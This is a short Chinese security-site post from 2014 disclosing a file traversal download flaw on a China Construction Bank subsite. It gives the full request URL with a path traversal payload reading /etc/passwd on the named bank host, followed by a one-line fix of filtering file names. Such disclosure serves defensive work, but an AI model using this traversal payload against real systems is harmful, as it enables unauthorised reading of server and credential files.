中国建设银行子站任意文件遍历下载漏洞下载

来源：黑吧安全网　浏览：2424次　时间：2014-07-25
做网站找雨过天晴工作室

中国建设银行子站任意文件遍历下载漏洞

URL：https://b2b.ccb.cn:1025/NCCB/B2BFileIBSContentServlet?fileName=../../../../../../../../../../../../../../../../etc/passwd&branchId=999999001&language=CN&ibsReqType=2

修复方案：

文件名过滤。